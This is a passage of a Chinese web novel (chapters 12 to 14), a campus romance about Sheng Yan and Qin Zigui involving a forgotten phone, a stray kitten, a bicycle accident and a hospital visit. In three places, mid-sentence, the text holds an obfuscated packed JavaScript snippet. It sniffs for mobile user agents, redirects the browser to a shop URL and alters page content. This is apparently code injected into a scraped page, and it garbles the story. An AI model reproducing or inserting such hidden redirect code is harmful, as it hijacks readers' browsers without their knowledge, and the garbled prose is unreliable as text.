倒是旁边的苟悠好像突然想起什么,放下手里的鸡腿,拿出手机,点了几下,递到盛衍跟前:“这个群你加过没?” 盛衍随意瞟了一眼,群名[法外之地],然后就木然地移开视线:“我不作弊。” “想什么呢,我能是那种人嘛。”苟悠对着屏幕划拉了几下,“你别看这个名字取得嚣张,其实就是一个南雾高中的学习资料分享群,里面有好多大神无偿或者有偿分享资料,就比如这个帅神,就是我们镇群之宝。” “帅神?” 盛衍微挑了下眉。 苟悠点头:“对啊,帅神,就这个天下第一大帅比,他的资料又全又精,抓考点和易错点那叫一个准,用过的没人不说好,而且80块一科,150两科,400块全科,只要认真看完,成绩提升不是梦。” 有这么神嘛。 盛衍看着那个葬爱家族同款杀马特头像觉得有些怀疑:“而且我看他备注是高一的。” 他马上都高二升高三了,高一的小屁孩能比他强? 盛衍抬着眉,有点质疑地看向苟悠。 苟悠平静坦然地迎上他的视线:“说实话,衍哥,以你的真实水平,现在就算给你拿套三年中考两年模拟都不过分。” 从初三以后就没怎么听过课了的盛衍:“……” 要你说实话了吗。 不过也不是没有道理。 他确实和高一的知识点们处得也不太熟。 而且今天这句“子规不是好鸟”一出,他和秦子规应该是彻底好不了了,所以与其在秦子规跟前憋死,不如死马当作活马医,搏一搏算了。 想着,盛衍勉为其难地点了点头:“行吧,你把他名片推我。” “好嘞。”苟悠应得爽快,然后顺势刷了下手机,立马变了脸色,“我去!朱鹏!你快别吃了!黄鼠狼正在带人去我们宿舍突击查寝!快回去藏火锅!” 说完,一手拎起书包,一手拽起正在啃着鸡翅膀的朱鹏就飞快地冲出店门往学校跑去。 突击查寝,又名抄家,一周一次,每次都是生灵涂炭,哀鸿遍野。 高贵的走读生盛衍同情地摇了摇头,然后慢条斯理站起身,走到柜台前:“一杯大杯珍珠奶茶,打包带走。” 讨厌秦子规归讨厌秦子规,说好的请他喝奶茶还是要说到做到。 柜员小姐姐笑得甜美又自信:“好的,同学,去冰还是少冰,几分甜呢?” 盛衍记得秦子规早上说的是他喜欢甜的,于是没犹豫:“少冰,满分甜。” 微顿,觉得不够,补充道:“加个芝士奶盖。” 再顿,又补充:“再来个烧仙草。” 还顿,继续补充:“芋圆椰果爆珠也一样一份。” 柜员小姐姐甜美的笑容开始有些不够自信:“同学,你确定?” “嗯,确定。” 盛衍想都没想。 要请就请个大的,总不能让秦子规觉得自己请个客还小气吧啦的,顺便如果能咽死他那当然就更好了,反正自己这辈子再也不想看到他。 盛衍想着,十分豪气地把手伸向裤兜准备掏手机结账,然后顿了顿。 等等,手机呢? 换个口袋摸。 怎么还是没有? 短暂的凝滞后,盛衍想起来了。 上课之前他把手机交给秦子规了,而下课之后,他因为过于心虚溜之大吉,就忘了问秦子规要回来。 所以他们刚才点的两只炸鸡,一斤锁骨,三支烤肠,三杯奶茶,以及刚才这一杯超大全家福...... 当了一辈子富二代的盛衍看着面前勤工俭学的小姐姐,心虚地避开眼神,低咳了两声:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727194|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个,姐姐,如果我说我忘带手机了,现在马上回学校去拿,然后回来结账,你信吗?” 小姐姐微笑着看着他,如同微信同款emoji. 拒绝得直接而不失礼貌。 盛衍脸皮薄,直接红了耳朵,非常不好意思地小声道:“姐姐,你信我,我就是对面学校的学生,真的会回来付钱的......” 他人长得好,也没有外面那些混混那种吊儿郎当的痞气,叫姐姐的时候还有点乖巧,这会儿耳朵一红,本来还在微笑emoji的小姐姐一下就心软了,放柔声音:“抱歉,同学,因为我们也是打工的,所以这种情况我们实在不好放你走,不如我把手机借你,你看能不能叫个老师朋友的先过来帮帮忙?” 微信和企鹅新设备登录都需要手机验证,所以没法用,只能打电话。 可是电话…… 盛衍从小到大只记得两个人的手机号码,一个是许女士的,一个是秦子规的。 许女士现在在英国,肯定联系不上。 至于秦子规…… 自己刚刚还想咽死他呢,现在就叫他来救场,是不是有点不道德。 盛衍看了看面前一脸善意的小姐姐,又看了看她身后拎着漏勺正在炸鸡的五大三粗的老哥哥,以及满桌子的食物残骸,正准备再挣扎一下。 小姐姐就甜美微笑道:“你们一共消费了142,我们这里刷碗是8块钱一小时。” 盛衍:“……” 那还是算了。 少爷是不可能刷碗的,这辈子都不可能。 于是盛衍只能不情不愿地接过手机,拨出了那个烂熟于心的号码:“喂,秦子规,是我。” 电话那头似乎一秒就听出了他的声音,散漫道:“嗯,怎么了。” “那个,就是……盛衍到底有些不好意思,低头敲着玻璃柜台,瓮声瓮气道,“就是我手机在你那儿,然后朱鹏和苟悠跑了,我现在一个人在大脸鸡排这儿,你能不能过来接一下我......” 盛衍越说越没底气,越说越不好意思。 毕竟三个小时前他才当着一班所有人的面说出了子规不是好鸟这种话,还传遍了全年级,所以他实在不确定秦子规还会不会来接他。 反正换成他,他肯定是不乐意的,甚至还巴不得秦子规蹲在这里刷个三天三夜的碗。 而秦子规也真的只是不咸不淡地“嗯”了一声,就没了后话,听上去十分冷漠,完全没有要来接他的意思。 明显是还在生气。 可是他身上什么东西都没带,连可以当着抵押的东西都没有,如果秦子规真的不来接他的话,他就要蹲在这儿刷17.75个小时的碗。 丢人不说,关键是他根本不会刷。 眼看店里投来异样视线的人越来越多,身后排队的人马上就要跟上来了,后厨一个顶他两个宽的炸鸡大佬也横眉一挑,看上去即将失去耐心。 盛衍觉得留给自己的时间并不多了。 短暂的权衡后,他心一横,牙一咬,决定使出从小到大百试不灵的可以让秦子规迅速消气并束手就擒的究极大招,咬着牙,掐着掌心,红着耳朵,飞快地扔出了七个保管有用的汉字。 电话那头却像聋了似的:“你说什么,没听清,再说一遍。” 这么羞耻的话,他盛大衍就算是死也绝对不可能再说第二遍! 盛衍十分生气,十分羞耻,握紧拳头,咬紧牙关,涨红耳根,然后愤怒无比,咬牙切齿,一字一顿,非常乖巧地说出了七个字:“子规哥哥,求你了。” “嗯,好。” 话音落下的那一刻,身后传来清晰可闻的一声应答以及玻璃门被推开的声音。 盛衍本能回头。 然后就看见秦子规正握着手机,缓步推门而入,迎着他的视线,面不改色道:“子规哥哥听到了。” 13. 撒娇 Chapter.13 虽然从小到大秦子规都是家属院里成绩最好最省心懂事的孩子,但一直以来盛衍才是最招人喜欢受人宠爱的那一个。 原因很简单,一是打小就长得好,唇红齿白,五官精致,笑起来眉眼弯弯的,没人不喜欢,二是机灵可爱,还特别嘴甜会撒娇,哄得整个家属院的爷爷奶奶姨姨叔叔哥哥姐姐全都围着他团团转。 就连当时刚刚被秦茹带回南雾的小酷哥秦子规也没能幸免,在到达那个开满蔷薇花的小院子的第一天,就被这个穿着背带裤捧着小花花嗲声嗲气地说要送给他的漂亮小娃娃给迷惑了心智。 以至于往后的许多年里,盛衍想偷吃奶糖了,想养小动物了,想装病赖床了,不想做作业了,犯错惹秦子规生气了,只要眨着眼睛可怜兮兮地说一句“子规哥哥,求求你了”,秦子规就没了办法。 所以即使后来随着年纪的增长,这种撒娇的话越来越少讲了,盛衍的潜意识里依旧本能地觉得只要他一开口,秦子规就愿意来帮这个忙。 但是不代表这种话他说出来就不羞耻。 盛衍本来想的是反正隔着电话看不见人,那他就当这句话是说给狗听的,等把秦子规骗来后就翻脸不认人,结果没想到秦子规居然这么快就来了。 不仅来了,还当着自己的面慢条斯理地把“子规哥哥”四个字重复了一遍,一个字一个字落进耳朵里的时候,盛衍的耳根子简直烧得已经快滴出血。 但是大庭广众之下又不好揍人,就只能压低帽檐,冲着已经走近的秦子规低声咬牙切齿道:“秦子规,你是不是成心的。” 秦子规淡定结账:“如果子规不是好鸟不是成心的,那我就不是成心的。” 盛衍:“……” 小气! 就这么一件事至于这么记仇吗! 但提起这件事,盛衍到底还是有点心虚,不好太理直气壮,只能不自在地捏住帽檐又往下压了压,没好气道:“大男人家家的那么小气干嘛,都请你喝奶茶了,这事儿能不能就过去了?” 秦子规正好从柜员手里接过了那杯已经粘稠得快变成固体了的丰富液体,晃了晃,杯子里几乎纹丝不动:“我以为你是请我喝粥。” “……”盛衍理直气壮,“我这叫大气。” 秦子规没否认:“嗯,大气,只是用的我的钱。” 盛衍:“……” 这人好烦。 盛衍向来属于在外很能怼人,对内就纯耍横的类型,懒得跟秦子规废话,直接伸出手,耍无赖:“谁让你帮我付了,手机给我,我把钱转你,然后两不相干。” 上一分钟还在乖乖巧巧的“子规哥哥,求你了”,这一分钟就凶巴巴地两不相干,他们盛大少爷还真是大丈夫能屈能伸。 不过大概是因为久违地听到了两声子规哥哥,秦子规心情还算不错,也没计较,拿出盛衍的手机,放上了他的掌心。 盛衍往回一收,转身就走,顺势低头点开微信好友[秦臭蛋]的头像,修改备注[小肚鸡肠秦杜鹃],然后转账200元。 “剩下的钱就当给你辛苦费了,免得你又说我欠你的。”大少爷出手一向阔绰。 反正能用钱解决的问题都不是问题。 想到这儿,盛衍已经点开了苟悠推送给他的那个天下第一大帅比的名片。 他不太常用Q.Q,头像昵称就还是初中时候用的那些,但也比眼前这个葬爱家族杀马特的非主流头像洋气不少,而且名字还取得这么骚,这人到底靠不靠谱? 盛衍一边怀疑着,一边点击了申请添加好友。 对方几乎是秒通过,然后直接弹出一条长长的消息。 [购买高一所有科目完整资料,即可赠送高二上基础知识点一份(本人自习专用,限量供应),价格399,二维码如下,付款时请备注邮箱,PDF和Word文件各发一份,拥有最符合人性审美的合理排版,十分方便打印,如有需要,还可附赠三中校草绝美签名照一张,先到先得,走过路过不要错过] 盛衍:“……” 这可真是个平平无奇的经商小天才。 不过反正已经打算死马当作活马医,他也懒得去管对面到底是不是正经人,直接识别二维码付款,付完,对方却突然发来了一个问号:[?] ?? 什么意思? 盛衍正准备问,但字还没打出去,脑门就突然直直撞上了一个不那么硬也不那么软的东西,疼得他倒吸一口冷气,皱着眉抬头一看,刚准备质问,然后就顿住了。 他撞上的好像是秦子规的手。 而不等他反应过来开口,秦子规就已经若无其事地收回了那只垫在玻璃门上被撞得发红的右手,低声道:“走路看路,别玩手机。” “哦。”盛衍其实有点担心秦子规那只手上的伤口,但是又别扭地不好意思问,就只能暂时听话地把手机收了回去。 秦子规的手机却正好响了。 掏出一看。 [Wild]:盛衍学长受什么刺激了? [Q]:? [Wild]:他的世界当中竟然出现了学习两个字,附[购买学习资料聊天截图.jpg] [Q]:…… 给他发微信的这个人是他初中时候关系最好的一个学弟,夏枝野。 比他低一届,当时和他分别承包了两个年级的年级第一,又和盛衍都是校篮球队的主力,所以关系都很不错,只不过后来因为一些特殊的原因,没有直升实外高中部,但也一直保持着联系。 只是没想到好巧不巧盛衍买学习资料居然买到他的小号头上去了。 或者说关键不在于买资料买到他头上去了,而在于盛衍居然开始买学习资料了。 要知道盛衍的学渣绝对不是先天智力缺陷导致的,而是因为纯粹的不学习。 就在小学时候,盛衍都还是出了名的聪明孩子,虽然不爱写作业,但是记忆力奇好,心算口算速度也是全班最快。 只不过越到后面,物质条件越好,可以玩的东西越多,练射击,玩游戏,装模型,打篮球,样样精通,再加上各方面的娇惯纵容,盛衍的心思就越来越不在学习上,一年365天,360天都没有听过课。 而这种玩惯了的大少爷突然开始学习,就只有两种可能。 第一,家道中落,不得不奋发图强。 第二,想下次模拟考全部及格,然后逃离自己。 答案显而易见。 看来盛衍现在是真的不乐意和自己呆在一块儿。 想到小学时候每次换座位盛衍都又哭又闹非要和自己坐在一起的样子,秦子规垂下眼睫,遮住眸底情绪,回复道:[可能是因为在和我赌气吧] 对方也没多问,只是慢悠悠答道:[这样啊,那行,我这儿还有一个人间第一小可怜的号,你如果需要的话我就借你了] [Q]:? [Wild]:知己知彼,百战百胜。 [Wild]:而且你记住,男人会撒娇,兄弟魂会飘,赌气什么的,小问题。 撒娇。 秦子规的指尖在这两个字上点了两下,似乎若有所思。 而不等他思出结果,旁边本来好端端走着的盛衍就突然拍了他一下:“秦子规!快!帮我抓猫!别让它跑了!” 说完就直接飞快地跑向了炸鸡店对面一个堆满杂物的墙角前,踩着杂物,撑手一翻,瞬间没了踪影。 秦子规想起来昨天晚上遇上盛衍的时候他似乎的确是在找一只猫,于是也就跟上,干净利落地一翻,轻巧落地。 而墙那头的盛衍也终于抓到了那只嗲里嗲气的小逃犯,双手高高举起,冲它恶狠狠地凶道:“跑!再跑!再跑你就没有饭饭吃了知不知道!” “……” 秦子规一时不知道该不该提醒盛衍,猛男是不应该说叠词的。 好在盛衍似乎也没发现自己说了叠词这回事,只是偏头看向秦子规:“我能把它先带回教室吗?猫罐头还在书包里。” 秦子规确实在盛衍书包里看到过几盒猫罐头。 一看就是最顶级,最昂贵,最精致的那种。 他再看了看盛衍手里的那只猫,一只没有高贵血统的小土橘,顶多也就是长得还算讨喜,估摸着三四个月左右大,应该没有爸爸妈妈也没有主人,脏脏的,瘦小得厉害,和干净漂亮的大少爷像两个世界的生物。 他问盛衍:“你打算养它吗?” 盛衍没太明白秦子规怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727195|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然问这个,随口答道:“暂时没有,许女士对猫毛过敏,我家不能养。” “如果没有养它的计划,最好不要给它吃太好的猫罐头。”秦子规的语气似乎有些淡。 盛衍挑了下眉,不太明白。 秦子规解释道:“很多猫吃过高档的猫罐头后,就不愿意吃其他食物甚至猫粮了。所以你现在一时兴起对它好,把什么最好的都给它了,让它对你产生了依赖,可是万一哪天你不能再这么继续对待它了,它就很可能会厌食或者抑郁,甚至觉得自己被二次抛弃了。你有想过这点吗?” 没想过。 盛衍只觉得自己遇见了这只猫猫,猫猫很喜欢他,他也很喜欢这只猫猫,这就是缘分,而在他的观念里,如果他喜欢什么,那就是一股脑地把自己能给的最好的全部给出去。 就像当初在家门口捡到秦子规的时候一样。只是因为一眼就喜欢,所以对他好。 至于其他的,并没有想那么多。 可是现在被秦子规这么一说,倒像是他做了什么坏事一样。 而且他怎么就成二次抛弃了? 盛衍总觉得秦子规这是话里有话,心里顿时冒出一股无名火气:“秦子规,你什么意思啊?什么叫一时兴起和二次抛弃啊?你能不能别总觉得我做什么事都是坏的行不行?我遇上这只猫的时候它才那么点大,没有我,它根本活不下去。而且我虽然不能养它,但我带它打疫苗了,给它看病了,也在找有没有人可以收养它了,你凭什么就觉得我只是一时兴起然后不会对它负责啊?我在你眼里到底是什么人啊!” 盛衍越骂越气,越骂越委屈,骂到最后根本不想再理秦子规,抱着喵喵就往巷子外走。 然而走了没两步,到底还是没忍住,回头朝秦子规恶狠狠地凶道:“而且我说了要照顾它就会一直照顾它,是它自己先跑了!不理我了!你别把什么锅都往我身上甩!” 说完转回头,低头抱着猫,飞快地朝巷子口走去,看上去是真生气了。 而不知道是不是秦子规的错觉,那一瞬间,他觉得盛衍那一句凶巴巴的气话里,似乎藏了许多其他的委屈。 是他自己先跑了,不理我了。 想到这句话,秦子规垂在身侧的指尖不自觉地微蜷了一下。 在他心里盛衍一直是那个因为被保护得太好所以什么都不懂的小少爷,但其实或许盛衍比他想的要明白许多。 以至于他突然就不知道自己还应不应该和从前一样追上盛衍,再哄哄他,逗逗他了。 然而十几年来形成的潜意识里最深层的本能永远比他的思考更快。 在看到巷子外的斜坡上,一辆自行车像是失控了一样疾速朝狭窄的巷子里俯冲下来的时候,秦子规想都没想就几步朝前迈上,一把把盛衍带进怀里,一个转身,把他和猫都紧紧护在了身前。 然后那辆飞驰而下的失控的自行车,就连人带车一起直直撞上了秦子规。 强烈的撞击声后,耳边是一声低低的闷哼,抱着他的秦子规不受控地微屈了下腿。 盛衍在一瞬间就反应过来发生了什么。 他一把拽开秦子规的手,蹲下身,不管不顾地挽起了秦子规的裤腿。 自行车倒下的时候,车头上绑着的硬铁丝直接划裂了校裤,连带着腿上也被割出一道又深又长的鲜血淋漓的口子,看上去就疼得锥心。 盛衍终于没忍住,抬起头,冲着秦子规大声喊道:“秦子规你脑子是不是不好啊!不知道叫我一声让我躲开吗!挡个屁啊!你以为你是什么英雄吗!你以为这样我就不会生气了吗!做你的狗屁梦!老子才不会原谅你!” 盛衍骂得很凶,只是骂着骂着,红了点眼睛,就凶得毫无威慑力,只让人觉得像只虚张声势的小豹子。 和小时候每次他在胖虎面前护着自己不准他们骂自己没爹没妈的样子简直一模一样,像是这么多年来从没有变过。 而在那一刻,秦子规突然间就明白了一个道理。 一直愿意给流浪猫喂最好的罐头的盛衍或许本身并没有错,错的是因为怕以后再也吃不到这么好的罐头于是就连现在的罐头也不愿意吃了的猫。 于是他在那一瞬间做出了决定,低头看向盛衍,低声道:“阿衍,别凶了,我疼。” 14. 原谅 Chapter.14 “疼你还不知道躲,是脑子不好吗?”盛衍本来就心疼,听秦子规这么一说,气得直接又骂了一句,骂完,又觉得自己太凶,低下头,收了点嗓音,没好气道,“你就叫我一声,我又不是不知道躲。” 秦子规垂着眼睫,答得很淡:“巷子太窄,车速太快。” 所以就算他叫了盛衍,盛衍也未必能躲开。 明白了这个意思,盛衍的心里一下就像是被捂在棉花堆里不轻不重的揍了一拳,疼还是疼的,可是又说不出是哪种疼,就闷得慌,堵得慌,发酸得慌。 因为秦子规这个人他再清楚不过了,就是锯嘴葫芦一个,从小到大饿了疼了累了苦了从来不说,生怕多余给谁添了麻烦似的,所以一旦他都说了疼,那肯定就是真疼。 而且不用他说,盛衍光是看都看得出来,这个自行车也不知道是用了多少年的破自行车了,前头甚至需要绑铁丝固定,所以光是自行车撞上就已经够疼了,更何况自行车倒下的时候还被铁丝划了这么一道血呲呼啦的口子。 不疼才怪。 活该,要你帮我挡。 卖惨根本没用。 盛衍一边想着,一边又不愿意被秦子规看出自己的真实情绪,低下头,用力把秦子规伤口附近的布料撕开,闷声道:“我送你去医院。” 说完转头看向旁边的罪魁祸首:“你也跟我们一起去。” 罪魁祸首是个估摸着十一二岁的小男孩,很瘦,正蹲在地上收拾着散落了一地的盒饭,听见他的话,茫然地抬起头“啊”了一声。 盛衍看了眼地上的包装袋:“帮家里送外卖?” 小男孩点了点头。 盛衍把手机递给他:“打个电话给家里说一声,让他们重做一份再送,这份的钱我付了,你跟我们一起去医院。” 小男孩没敢接,低下头,小声道:“但我赔不起医药费。” 但凡对方是个成年男性,把秦子规撞成这样,盛衍都绝对不可能这么善罢甘休,可偏偏对方还只是个孩子,盛衍的一肚子气不仅找不到人发泄,还被对方这副样子弄得心里难受得慌,只能努力克制不让语气太重:“没要你赔,就是一起去检查一下看有没有伤到哪里,检查也不用你给钱,快点,帮我抱着猫。” 盛衍说着就把喵喵和自己的手机扔给他,然后站起身,把秦子规的胳膊架到自己肩上,一手扶住他的腰,一手熟门熟路地把手伸向他的裤兜去掏他的手机。 秦子规本能地往后避了一下。 盛衍没好气地往回一扣:“别乱动,又不会吃了你!” 秦子规倒是不担心盛衍吃了自己,只是盛衍的手伸进自己的裤兜,然后隔着一层薄薄的校裤布料在自己大腿根部附近摸索的时候,比吃了自己还要难捱些。 而且因为放手机的裤兜在另外一侧,盛衍又要架着他,所以掏着就格外的不方便,来回滑落了几下后,秦子规终于忍不住冷淡道:“其实我可以自己来。” 盛衍:“......” 对哦,秦子规手又没残。 他若无其事地收回手:“那你自己来吧,顺便跟黄鼠狼请个假,免得他又骂我。” 语气无比正常,看得出是全然没觉得哪里有什么不对。 秦子规看了他一眼,然后收回视线,掏出手机,表情冷漠木然。 就在刚才他还觉得无论以后怎么样,他现在就只想跟盛衍和以前一样好好相处,但是还没到三分钟就有点后悔了。 因为直男这种生物实在是迟钝到可怕。 尤其是一个从小和你一起长大,已经习惯了各种亲密无间的相处模式的直男,简直就是地狱难度的折磨。 偏偏直男本人对此还毫无察觉,只是生怕自己没有扶稳秦子规又让他摔了,所以不由自主地把他的腰又搂紧了一些,掌心还无意地捏了一下。 炎热的夏日,少年炙热的体温和肌肤触感透过极薄的校服布料传过来时,秦子规不受控地重了一拍呼吸。 盛衍立马偏过头,皱着眉,十分担忧地问道:“怎么了?是不是哪里不舒服?” 秦子规感受着他的呼吸就酥酥痒痒地落在自己的耳侧,平心静气,面不改色:“没怎么,就是疼。” . 能让秦子规两次说疼的伤,必然不是小伤。 所以整个检查盛衍都坐在旁边紧张得不行,抻着脖子,探着脑袋,双手紧紧攥拳,指甲深深嵌进掌心,屁股差点就挨不着椅子了,看上去好像他才是受伤的那个人似的。 旁边的护士忍着笑,安抚道:“小同学,你放心,你朋友没什么大事,不用担心成这样。” 被护士直接戳破了真相的盛衍瞬间红了点耳朵,不太好意思地收回视线,坐回原位:“谁担心他了,大男人受点皮肉伤又没什么大不了的......” 话还没说完,一旁的秦子规就倒吸了一口冷气,刚刚坐回位置的盛衍立马直起身,着急地问道:“怎么了?怎么了?是不是很严重?” 护士和医生们终于忍不住,彻底笑出了声:“原来这就是不担心,行了,彻底长见识了。” 就连已经疼得满脑门都是细密的汗珠的秦子规也没忍住,低头微弯了唇。 意识到自己彻底暴露了的盛衍:“......” 秦子规这人怎么这么诡计多端! 眼看这个好看的小男生整个耳朵瞬间又红透了,护士姐姐们也不忍心再逗他,笑着道:“放心吧,伤口已经全部处理好了,破伤风也打了,只要后面注意伤口清理,按时换药,不沾水,不用力,避免感染发炎,就没什么大问题了。家里有人照顾吗?” 盛衍想了想,江平最近出差了,秦茹每天也要去公司,而且她照顾秦子规某些事情到底不方便,所以就只剩下...... 他还没思考完,秦子规就淡淡道:“注意事项您直接给我说吧,我自己可以。” “那可不行。”护士想都没想,“你腰后面被撞了一下,要按时冷敷,过两天再换热敷,你一个人怎么弄?而且腿上的药也要按时换,不能沾水,不能太用力,没人照顾怎么能行?” 秦子规表情没什么变化,低头卷着裤腿,语气平淡:“我家里人最近都比较忙,没人照顾我,而且我从小自己习惯了,所以应该应付得......” “应该个鬼。”盛衍实在听不下去了,白了他一眼,“我不是人?” 秦子规却只是垂着眼睫,低声道:“你不是还不愿意理我吗。” “?” 一句话落下,诊疗室里所有医生护士瞬间齐齐朝盛衍看了过来。 突然之间就遭受到了良心的谴责和道德的审判的盛衍:“......” 他怎么突然就成渣男了的感觉? 他的确是暂时还没有原谅秦子规,因为他总觉得秦子规还没有和他坦白真正的原因。 但毕竟秦子规是因为他才会出现在炸鸡店的,才会去追猫的,才会出现在小巷子的,才会被自行车撞了的,所以于情于理来说,自己不亲自照顾秦子规都有点说不过去。 可是他也不想就这么不清不楚地算了,于是板着脸,没理秦子规,只是直接看向护士,“注意事项你都告诉我吧,我和他住一起的,我照顾他。” “哦。”护士似乎明白了什么,一边写着注意事项,一边问道,“你哥哥?兄弟俩闹别扭了?” 盛衍:“......” 非要这么说的话也没什么问题。 “算是吧。” “那行,这是注意事项和用药事项,按着上面的来就行了,其他没什么问题,再观察半个小时,就可以直接回家了。”护士长把单子递给他。 盛衍接过单子,小心揣进口袋,又问:“跟我们一起来的另一个男孩呢?” “哦,他啊,就膝盖擦伤了一点,什么事都没有,抱着猫在外面长椅上坐着等你们呢。” 盛衍点点头,转身看向秦子规:“你在这儿等我一会儿,我去处理点事。” 说完就快步走出诊疗室,一出走廊,果然看见小男孩正抱着猫老老实实坐在椅子上等着他们。 盛衍走过去,拍了下他的肩:“姓名,电话,家庭地址。” 小男孩茫然地抬头“啊”了一声。 盛衍岔着腿在他旁边坐下,点开淘宝,划拉给他看:“给你买辆你这个个子应该骑的自行车,不然回头撞到别人,可就没有我这么好说话了。” 小男孩刚想拒绝,盛衍就恶狠狠威胁道:“你要是不收,我就让你赔医药费。” 小男孩只能乖乖听话,在盛衍选中的自行车后面老老实实地输入了地址。 盛衍收回手机,冷哼一声:“现在知道怕了吧,以后骑车还敢不敢骑这么快?” 小男孩点点头:“嗯,我以后不骑这么快了。但是我不怕。” “你还不怕?” 盛衍觉得这个小屁孩简直欠揍。 小男孩却一本正经解释道:“我是不怕哥哥,哥哥你就是嗓门大,眼睛大,看上去凶,实际上一点都不吓人。” 自认为威震八方的实外校霸盛衍同学:“......” 小孩子家家的,简直毫无是非判断力。 还不等他反驳,小屁孩就又先一步开了口:“不过哥哥你以后还是别假装这么凶了。” 盛衍挑了点眉。 小男孩认真说道:“你明明就很关心另外一个哥哥,但你非要凶他,凶久了,他肯定会难过的。” “呵,我才不关心他。” 盛衍双臂搭上长椅椅背,别过头,一脸傲慢, 然后小男孩微皱起眉:“哥哥,你好幼稚哦。” 盛衍:“..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727196|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .” “而且我没骗你,我骑自行车过来的时候看到了,你在前面走,那个哥哥就在后面看着你,看上去特别难过的样子,你是不是和他吵架了?”小男孩抱着猫,弯着腰,侧过头来看盛衍的脸,眨巴了两下眼。 盛衍搭在椅背上的手,微僵了一下。 原来秦子规也会难过的吗。 他一直在为自己过去一年莫名其妙被疏远了的事情而感到委屈,一直在介意秦子规到底为什么突然疏远自己,却从来没想过秦子规为什么还是会在遇到危险的时候第一时间保护自己,也没想过自己的一次次冷脸发脾气会不会让秦子规难过。 想到秦子规可能难过时的表情,盛衍的心里就突然特别不是滋味。 他收回心绪,照着小男孩的脑袋轻轻给了一下:“行了,小孩子家家的,一天到晚想这么多干嘛,赶快回家,别让大人担心。” 说完就从小男孩手里接回猫,转身往回走去。 然而刚走到诊疗室门口,就顿住了脚步。 屋里传来一道熟悉的温婉声线,应该是秦茹收到消息后,终于赶来了。 她的声音心疼得都有些哽咽:“你说你这孩子怎么这么不小心的呀,肯定疼都疼死了,万一留疤了可怎么办呀。” 秦子规倒是一如既往的冷静平淡:“放心吧,小姨,没事的,医生说两三天就差不多可以正常活动了。” “没事,没事,你说什么都是没事,你就不能跟其他家孩子一样疼了委屈了就撒撒娇吗。”秦茹听上去这次是真难过了。 秦子规温声好言地安慰了几句,然后才说:“小姨,我能跟你商量件事吗?” 秦茹想都没想:“你说。” “我们家能养猫吗?” “?” 秦子规这话一出,门里的秦茹和门外的盛衍都愣了愣。 秦子规继续讲道:“大概就是一只三四个月大的小橘猫,会做好体检,打好疫苗再带回家,教他上厕所,喂猫粮,收拾猫毛猫砂这些都是我来负责,不会给你和姨夫添麻烦的。” “不是,你突然问这个干嘛?”秦茹像是没太明白,“我和你姨夫倒是都还挺喜欢猫的,但是你不是一直不喜欢养宠物吗?总说它们不能陪你太久,养了容易伤心。” 因为小时候许女士不准盛衍养宠物的缘故,盛衍就求着秦子规帮自己养过两只仓鼠一只小兔子和一只小乌龟,然而最后都没养活,所以后来秦子规就不愿意再养了。 他说总是要离开的,就没必要带来。 从那以后,两家人也的确都再也没有养过宠物。 怎么现在突然又愿意养了? 难道是被喵喵给迷住了? 盛衍低头瞪着怀里的小橘猫,正试图用眼神质问“你这只小土橘到底有什么魅力”,门里就传来了淡淡的一句:“因为盛衍喜欢。” 盛衍瞪着小橘猫的眼睛愣住了。 小橘猫眯了眯眸子,开始反瞪回他。 屋里的人却犹然不知,还在继续解释:“盛衍很喜欢那只小猫,但是许姨猫毛过敏,不能养。我怕在外面散养,到时候小猫又跑了的话,盛衍会难过,所以就想着我帮他养。可以吗,小姨?” 秦子规从小就是最懂事的孩子。 因为他知道自己是寄人篱下,所以几乎不会主动提出任何一个额外的要求。 如果有,那无一例外,都和盛衍有关。 门的秦茹长长地叹了口气:“你啊,当时小盛衍说用三块两毛钱把你买回去,你还真就被他买回去了,这买卖做的真是划算。” 门外的盛衍则低头看着那只试图用眼神质问自己“你到底有什么魅力”的小土橘,半晌,试探地问道:“你说......我看在你的面子上暂时原谅他几天怎么样?” 小土橘懒洋洋地别过脑袋,压根儿不想理他。 然后盛衍十分勉强地点了点头:“行吧,既然你都这么努力地劝我了,那我就勉为其难地答应了吧。” 一言未发的小土橘震惊回头。 盛衍做贼心虚地捂住它的眼睛:“你别看我,大人的一切决定都是为了孩子,而且我就是暂时原谅他一下,又没有投敌叛变。” 就只是暂时原谅一下下而已。 而且还不能告诉秦子规,不然这只臭鸟又要装逼嘚瑟各种管他。 盛衍想着,下定决心般地掏出手机,点开心想事成APP的留言板,输入:[请问我可以撤回离开风水宝地的愿望,重新许一个吗?] 系统回复得很快:[宿主请吩咐] 盛衍面无表情地打下几个字:[希望秦子规的伤可以快点好,也别那么疼了] 就只是这么偷偷的原谅一下下而已,反正又没人知道。 盛衍觉得自己十分冷酷。 